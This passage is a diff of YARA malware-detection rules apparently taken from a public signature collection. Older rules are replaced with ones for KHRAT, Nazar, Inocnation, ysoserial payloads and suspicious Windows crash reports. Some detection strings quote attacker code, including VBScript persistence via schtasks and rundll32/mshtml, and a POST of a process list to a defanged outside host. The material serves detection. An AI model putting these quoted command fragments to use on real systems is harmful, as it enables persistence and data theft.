+		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_khrat.yar#L26-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c27a89028794b50b95850d90ee29b56606e6b58b862a26e287077e7f7be7f096"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "989525f85abef05581ccab673e81df3f5d50be36"
-		hash2 = "5884aeca33429830b39eba6d3ddb00680037faf4"
+		hash1 = "8c88b4177b59f4cac820b0019bcc7f6d3d50ce4badb689759ab0966780ae32e3"
 
 	strings:
-		$s1 = "fftp.cfg" fullword wide
-		$s2 = "220 LightFTP server v1.0 ready" fullword ascii
-		$s3 = "*FTP thread exit*" fullword wide
-		$s4 = "PASS->logon successful" fullword ascii
-		$s5 = "250 Requested file action okay, completed." fullword ascii
+		$x1 = "CreateObject(\"WScript.Shell\").Run \"schtasks /create /sc MINUTE /tn" ascii
+		$x2 = "CreateObject(\"WScript.Shell\").Run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication" ascii
+		$x3 = "<registration progid=\"ff010f\" classid=\"{e934870c-b429-4d0d-acf1-eef338b92c4b}\" >" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and 4 of them
+		1 of them
 }
-rule SIGNATURE_BASE_Lightftp_Config : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_KHRAT_Scritplet : FILE
 {
 	meta:
-		description = "Detects a light FTP server - config file"
+		description = "Rule derived from KHRAT scriptlet"
 		author = "Florian Roth (Nextron Systems)"
-		id = "02ee1d04-1425-5dfd-9b9a-cd378aeda311"
-		date = "2015-05-14"
+		id = "f72d68a3-0409-5401-b6a1-ca8f188d7409"
+		date = "2017-08-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/hfiref0x/LightFTP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pup_lightftp.yar#L23-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ce9821213538d39775af4a48550eefa3908323c5"
-		logic_hash = "1e8c06dac9a5910816703ed15bef83116d9e2d9e612fda69697170ed98ee5f60"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_khrat.yar#L43-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbbabd8e2f17827d96aeef4ea362f133cf3fcc31716c517b86a05a010ff62510"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cdb9104636a6f7c6018fe99bc18fb8b542689a84c23c10e9ea13d5aa275fd40e"
 
 	strings:
-		$s2 = "maxusers=" wide
-		$s6 = "[ftpconfig]" fullword wide
-		$s8 = "accs=readonly" fullword wide
-		$s9 = "[anonymous]" fullword wide
-		$s10 = "accs=" fullword wide
-		$s11 = "pswd=" fullword wide
+		$x1 = "http.open \"POST\", \"http://update.upload-dropbox[.]com/docs/tz/GetProcess.php\",False,\"\",\"\" " fullword ascii
+		$x2 = "Process=Process & Chr(32) & Chr(32) & Chr(32) & Obj.Description" fullword ascii
+		$s1 = "http.SetRequestHeader \"Content-Type\", \"application/json\" " fullword ascii
+		$s2 = "Dim http,WMI,Objs,Process" fullword ascii
+		$s3 = "Set Objs=WMI.InstancesOf(\"Win32_Process\")" fullword ascii
+		$s4 = "'WScript.Echo http.responseText " fullword ascii
 
 	condition:
-		uint16(0)==0xfeff and filesize <1KB and all of them
+		uint16(0)==0x3f3c and filesize <1KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_Unspecified_Malware_Oct16_A : FILE
+rule SIGNATURE_BASE_APT_Nazar_Svchost_Commands
 {
 	meta:
-		description = "Detects an unspecififed malware - October 2016"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f62ecf7e-2b66-5567-9bf3-3d3797bc582d"
-		date = "2016-10-08"
+		description = "Detects Nazar's svchost based on supported commands"
+		author = "Itay Cohen"
+		id = "3e02381d-de03-50c8-8bde-2974ee96b7c1"
+		date = "2020-04-26"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_set_oct16.yar#L10-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d71e6640be1b10790d49c084b9ba248e35a6a56dfe9c5a3f219a209024ebec27"
-		score = 80
+		reference = "https://www.epicturla.com/blog/the-lost-nazar"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nazar.yar#L1-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c71e8a3b2d69c51ed3f822f62b90906fc0a21d32f1f1850cdef71c335964f9b1"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d112a7e21902287e4a37112bf17d7c73a7b206e7bc81780fd87991c1519f38c8"
+		tags = ""
+		hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+		hash2 = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
 
 	strings:
-		$x1 = "%s\\system32\\%s.dll" fullword ascii
-		$x2 = "%SystemRoot%\\System32\\svch%s -k nets" fullword ascii
-		$x3 = "\\\\.\\pipe\\96DBA249-E88E-4c47-98DC-E18E6E3E3E5A" fullword ascii
-		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword ascii
-		$s2 = "boottemp.exe" fullword ascii
-		$s3 = "at \\\\%s %d:%d C:\\%s.exe" fullword ascii
-		$s4 = "cryptcom.dll" fullword ascii
-		$s5 = "Wininet.dll" fullword ascii
-		$s6 = "\\\\%s\\%s\\%s.exe" fullword ascii
-		$s7 = "%s%d.exe" fullword ascii
-		$s8 = "booter.exe" fullword ascii
-		$s9 = "\\\\%s\\pipe%s" fullword ascii
-		$s10 = "C:\\DelInfo.bin" fullword ascii
-		$op0 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 }
-		$op1 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 }
-		$op2 = { ee 11 74 cf 73 0b 91 c4 c9 57 b2 d9 36 86 a5 b4 }
+		$str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 }
+		$str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 }
+		$str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 }
+		$str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 }
+		$str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and (2 of ($x*) or 3 of ($s*) or all of ($op*))) or (6 of them )
+		4 of them
 }
-rule SIGNATURE_BASE_Sality_Malware_Oct16 : FILE
+rule SIGNATURE_BASE_SUSP_WER_Critical_Heapcorruption : FILE
 {
 	meta:
-		description = "Detects an unspecififed malware - October 2016"
+		description = "Detects a crashed application that crashed due to a heap corruption error (could be a sign of exploitation)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7bf2a818-f7ee-587e-b22e-b557251d89e1"
-		date = "2016-10-08"
+		id = "2b1dad5f-cc2c-5d8c-8275-ebb56d079895"
+		date = "2019-10-18"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_set_oct16.yar#L48-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5bf14bbb0a7298a7bc896029c4b92ef9adf24307e4d05dcf86a518b266d1c2a8"
-		score = 80
+		reference = "https://twitter.com/cyb3rops/status/1185459425710092288"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_wer_files.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "efa84e375f31ca37b9dd9c7a74251929ac957b9bd530e92f74b8836f56048fea"
+		score = 45
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad"
 
 	strings:
-		$s1 = "Hello world!" fullword wide
-		$s2 = "[LordPE]" fullword ascii
+		$a1 = "ReportIdentifier=" wide
+		$a2 = ".Name=Fault Module Name" wide
+		$s1 = "c0000374" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( uint32be(0)==0x56006500 or uint32be(0)==0xfffe5600) and all of them
 }
-rule SIGNATURE_BASE_Unspecified_Malware_Oct16_C : FILE
+rule SIGNATURE_BASE_SUSP_WER_Suspicious_Crash_Directory : FILE
 {
 	meta:
-		description = "Detects an unspecififed malware - October 2016"
+		description = "Detects a crashed application executed in a suspicious directory"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fff98097-a19a-59aa-bece-837c75b0995c"
-		date = "2016-10-08"
+		id = "bf91e20c-aa35-5b13-86ed-a63e6fb4d1a2"
+		date = "2019-10-18"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_set_oct16.yar#L65-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f212ef700e77c82954d997beef1157835da38330b583d02df418e10b6c182ee"
-		score = 80
+		reference = "https://twitter.com/cyb3rops/status/1185585050059976705"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_wer_files.yar#L20-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a197feeafca38ffe33428fa807e2b80e3071ab8960926fc2f328748bda299910"
+		score = 45
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a451157f75627b2fef3d663946c94ef7dacb58f08b31d0ec4c0a542a1c4e6205"
 
 	strings:
-		$s1 = "dUSER32.DLL" fullword wide
-		$s2 = "output.dll" fullword ascii
+		$a1 = "ReportIdentifier=" wide
+		$a2 = ".Name=Fault Module Name" wide
+		$a3 = "AppPath=" wide nocase
+		$l1 = "AppPath=C:\\Windows\\" wide nocase
+		$l2 = "AppPath=C:\\Program" wide nocase
+		$l3 = "AppPath=C:\\Python" wide nocase
+		$l4 = "AppPath=C:\\Users\\" wide nocase
+		$s6 = "AppPath=C:\\Users\\Public\\" nocase wide
+		$s7 = "AppPath=C:\\Users\\Default\\" nocase wide
+		$s8 = /AppPath=C:\\Users\\[^\\]{1,64}\\AppData\\(Local|Roaming)\\[^\\]{1,64}\.exe/ wide nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and all of them )
+		( uint32be(0)==0x56006500 or uint32be(0)==0xfffe5600) and all of ($a*) and ( not 1 of ($l*) or 1 of ($s*))
 }
-rule SIGNATURE_BASE_Bladabindi_Malware_B64 : FILE
+rule SIGNATURE_BASE_Apt_Win32_Dll_Rat_1A53B0Cp32E46G0Qio7 : FILE
 {
 	meta:
-		description = "Detects Bladabindi Malware using Base64 encoded strings"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7f7023be-b6e1-5e1b-af8a-c413a5438ec8"
-		date = "2016-10-08"
+		description = "Detects Inocnation Malware"
+		author = "Fidelis Cybersecurity"
+		id = "1f2250b7-fee4-5031-aeba-90d35319b560"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_set_oct16.yar#L91-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "081a6361e29fc231f1467b837c51a39b8cccf8caa20844b22d469ce2bbd0c7fb"
+		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_inocnation.yar#L1-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "824997d8c8845838420f226b60de544f33a50327fa67aea472de6eaf1b6b4492"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dda668b0792b7679979e61f2038cf9a8ec39415cc161be00d2c8301e7d48768d"
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
 
 	strings:
-		$s1 = "XHN5c3RlbTMyXA==" fullword ascii
-		$s2 = "RXhlY3V0ZSBFUlJPUg==" fullword ascii
-		$s3 = "dHJvamFuLmV4ZQ==" fullword ascii
-		$s4 = "VXBkYXRlIEVSUk9S" fullword ascii
-		$s5 = "RG93bmxvYWQgRVJST1I=" fullword ascii
+		$s1 = { c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 }
+		$s2 = { c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 }
+		$s3 = { 66 [4-7] 0d 40 83 f8 44 7c ?? }
+		$s4 = { 66 [4-7] 14 40 83 f8 14 7c ?? }
+		$s5 = { 66 [4-7] 56 40 83 f8 2d 7c ?? }
+		$s6 = { 66 [4-7] 20 40 83 f8 1a 7c ?? }
+		$s7 = { 80 [2-7] 2e 40 3d 50 02 00 00 72 ?? }
+		$s8 = "%08x%08x%08x%08x" wide ascii
+		$s9 = "WinHttpGetIEProxyConfigForCurrentUser" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and 1 of them
+		( uint16(0)==0x5A4D or uint32(0)==0x464c457f) and ( all of them )
 }
-rule SIGNATURE_BASE_Dorkbot_Injector_Malware : FILE
+rule SIGNATURE_BASE_Ysoserial_Payload_Mozillarhino1 : FILE
 {
 	meta:
-		description = "Detects Darkbot Injector"
+		description = "Ysoserial Payloads - file MozillaRhino1.bin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b32986fe-d6f1-55f2-8d50-bc348b52fb49"
-		date = "2016-10-08"
+		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_set_oct16.yar#L110-L129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "36138520b0d39dc311b8e9355d1d1c215908a5fe1c01eec76c689f7e74a84303"
+		reference = "https://github.com/frohoff/ysoserial"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ysoserial_payloads.yar#L10-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ca8cdd2781812ed373ca558b3a5a2fac5d236e16e6dbb8d66caa45081aef968b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bc3c5ac7180c8ac21d6908d747aa6122154d2bb51bb99ff0e0b1c65088d275dc"
+		hash1 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
 
 	strings:
-		$s1 = "Enter an integer, a real number, a character and a string : " fullword ascii
-		$s2 = "ready to finish" fullword ascii
-		$s3 = "EYEnpw" fullword ascii
-		$s4 = "somewhere i belong" fullword ascii
-		$s5 = "Not all fields were assigned" fullword ascii
-		$s6 = "take down" fullword ascii
-		$s7 = "real number = %f" fullword ascii
+		$s3 = "ysoserial.payloads" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 6 of them )
+		( uint16(0)==0xedac and filesize <40KB and all of them )
 }
-rule SIGNATURE_BASE_Unspecified_Malware_Oct16_D : FILE
+rule SIGNATURE_BASE_Ysoserial_Payload_C3P0 : FILE
 {
 	meta:
-		description = "Detects unspecified malware - October 2016"
+		description = "Ysoserial Payloads - file C3P0.bin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6908467c-1ed6-508d-9503-246dd26823e5"
-		date = "2016-10-08"
+		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_set_oct16.yar#L131-L150"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "78cde422987d2aff64967b86b6cf9279c112a2bfb713a2ea40fe952379d2e326"
+		reference = "https://github.com/frohoff/ysoserial"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ysoserial_payloads.yar#L25-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "53188caff69e1dbf655f4df7cda1406dd357af14a92ca4e686f514299b0adafc"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cd5f3bc0176a6803093ffdea6a7442c416e0d2945b6903063d17f5bb8d17519d"
+		hash1 = "9932108d65e26d309bf7d97d389bc683e52e91eb68d0b1c8adfe318a4ec6e58b"
 
 	strings:
-		$s1 = "C:\\file.exe" fullword wide
-		$s2 = "new.exe" fullword wide
-		$s3 = "passwordIterations" fullword ascii
-		$op0 = { 10 00 12 00 1a 00 05 00 01 00 01 00 01 00 10 00 }
-		$op1 = { 41 32 00 36 00 62 00 34 00 32 00 65 00 37 00 62 }
-		$op2 = { 3c 4d 6f 64 75 6c 65 3e 00 6e 65 77 2e 65 78 65 }
+		$x1 = "exploitppppw" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*) or all of ($op*))
+		( uint16(0)==0xedac and filesize <3KB and all of them )
 }
-rule SIGNATURE_BASE_Unspecified_Malware_Oct16_E : FILE
+rule SIGNATURE_BASE_Ysoserial_Payload_Spring1
 {
 	meta:
-		description = "Detects unspecified Malware - October 2016"
+		description = "Ysoserial Payloads - file Spring1.bin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fffffe0c-e114-5648-96ea-dd692610e34c"
-		date = "2016-10-08"
+		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_set_oct16.yar#L152-L167"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2040a8cee840560a5aa6065df17206c0313d85b2d11ce482baab05c492360f35"
+		reference = "https://github.com/frohoff/ysoserial"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ysoserial_payloads.yar#L40-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "852390d242c5cac243b54c31234c0ef3e25cede376eea23c73f03d79c548be8a"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "28093385130b61f22920c0ce6e56de1f2cd8eef589bebe2af31f36f51f2b4d01"
+		hash1 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
+		hash2 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
+		hash3 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
+		hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
+		hash5 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
+		hash6 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
+		hash7 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
 
 	strings:
-		$s1 = "P3pORt" fullword ascii
-		$s2 = "msdownld.tmp" fullword ascii
-		$s3 = "TMP4351$.TMP" fullword ascii
+		$x1 = "ysoserial/Pwner" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Certificate_Payload : FILE
+rule SIGNATURE_BASE_Ysoserial_Payload : FILE
 {
 	meta:
-		description = "Detects payloads that pretend to be certificates"
-		author = "Didier Stevens, Florian Roth"
-		id = "6f1fe410-591a-5a59-a683-67cad9777dfe"
-		date = "2018-08-02"
+		description = "Ysoserial Payloads"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "https://blog.nviso.be/2018/08/02/powershell-inside-a-certificate-part-3/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cert_payloads.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "909cf4209bbb876a042d86e017f65ce3764d2fde7a602406ed8531ba97c9fb9b"
-		score = 50
+		reference = "https://github.com/frohoff/ysoserial"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ysoserial_payloads.yar#L61-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eec48af8bd3b377c8dd5af71027f67b36e1bd4d4ccfbd8134a26783517b5585a"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
+		hash2 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
+		hash3 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
+		hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
+		hash5 = "747ba6c6d88470e4d7c36107dfdff235f0ed492046c7ec8a8720d169f6d271f4"
+		hash6 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
+		hash7 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
+		hash8 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
+		hash9 = "1fea8b54bb92249203d68d5564a01599b42b46fc3a828fe0423616ee2a2f2d99"
+		hash10 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
+		hash11 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
+		hash12 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
+		hash13 = "f756c88763d48cb8d99e26b4773eb03814d0bd9bd467cc743ebb1479b2c4073e"
 
 	strings:
-		$re1 = "-----BEGIN CERTIFICATE-----"
-		$fp1 = "replace it with the PEM-encoded root certificate"
+		$x1 = "ysoserial/payloads/" ascii
+		$s1 = "StubTransletPayload" fullword ascii
+		$s2 = "Pwnrpw" fullword ascii
 
 	condition:
-		uint32(0)==0x2D2D2D2D and $re1 at 0 and not uint8(29)==0x4D and not uint8(28)==0x4D and not 1 of ($fp*)
+		( uint16(0)==0xedac and filesize <40KB and $x1) or ( all of them )
 }
-rule SIGNATURE_BASE_MAL_Webmonitor_RAT : FILE
+rule SIGNATURE_BASE_Ysoserial_Payload_3 : FILE
 {
 	meta:
-		description = "Detects WebMonitor RAT"
+		description = "Ysoserial Payloads - from files JavassistWeld1.bin, JBossInterceptors.bin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5378f22e-4bba-50e7-8374-5135e980e06b"
-		date = "2018-04-13"
+		id = "7fb67f48-66dc-57a4-9075-49b2277fa186"
+		date = "2017-02-04"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_webmonitor_rat.yar#L1-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fbf6368527a7bd841b7679d668d6b77ce720fd0f6bcbd5fa9ff6301ae72199ec"
+		reference = "https://github.com/frohoff/ysoserial"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ysoserial_payloads.yar#L92-L113"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49491d1c15af8c271fbbb7dedc678a91df74dcb093abe3f056b1ffc2fced99fe"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "27aaad8a7b3fd53d99077a9202e8bed05696c843ed2485bea6eb9e33a1c273ac"
-		hash2 = "05111c305028b5d822ecd12de9879560223c42860cc9d448c47886c236648607"
+		super_rule = 1
